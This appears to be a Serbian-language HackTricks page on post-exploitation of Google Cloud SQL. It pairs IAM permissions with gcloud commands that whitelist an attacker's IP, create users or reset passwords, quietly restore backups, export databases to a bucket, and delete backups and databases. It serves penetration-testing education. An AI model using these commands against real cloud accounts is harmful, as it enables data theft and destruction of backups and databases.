# GCP - Cloud SQL Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud SQL

Za više informacija o Cloud SQL, proverite:

{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}

### `cloudsql.instances.update`, ( `cloudsql.instances.get`)

Da biste se povezali sa bazama podataka, **samo vam je potreban pristup portu baze podataka** i da znate **korisničko ime** i **lozinku**, nema zahteva za IAM. Dakle, lak način da dobijete pristup, pod pretpostavkom da baza podataka ima javnu IP adresu, je da ažurirate dozvoljene mreže i **dozvolite svojoj IP adresi da joj pristupi**.
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
Takođe je moguće koristiti **`--no-backup`** da **ometate rezervne kopije** baze podataka.

S obzirom na to da su ovo zahtevi, nisam potpuno siguran koje su dozvole **`cloudsql.instances.connect`** i **`cloudsql.instances.login`**. Ako znate, pošaljite PR!

### `cloudsql.users.list`

Dobijte **spisak svih korisnika** baze podataka:
```bash
gcloud sql users list --instance <intance-name>
```
### `cloudsql.users.create`

Ova dozvola omogućava **kreiranje novog korisnika unutar** baze podataka:
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
### `cloudsql.users.update`

Ova dozvola omogućava **ažuriranje korisnika unutar** baze podataka. Na primer, mogli biste promeniti njegovu lozinku:
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

Backup-i mogu sadržati **stare osetljive informacije**, pa je zanimljivo proveriti ih.\
**Vratite backup** unutar baze podataka:
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
Da bi se to uradilo na diskretniji način, preporučuje se da se kreira nova SQL instanca i da se podaci povuku tamo umesto u trenutno aktivnim bazama podataka.

### `cloudsql.backupRuns.delete`

Ova dozvola omogućava brisanje rezervnih kopija:
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
### `cloudsql.instances.export`, `storage.objects.create`

**Izvezite bazu podataka** u Cloud Storage Bucket kako biste mogli da joj pristupite odatle:
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
### `cloudsql.instances.import`, `storage.objects.get`

**Uvezi bazu podataka** (prepiši) iz Cloud Storage Bucket-a:
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
### `cloudsql.databases.delete`

Obriši bazu podataka iz db instance:
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
{{#include ../../../banners/hacktricks-training.md}}
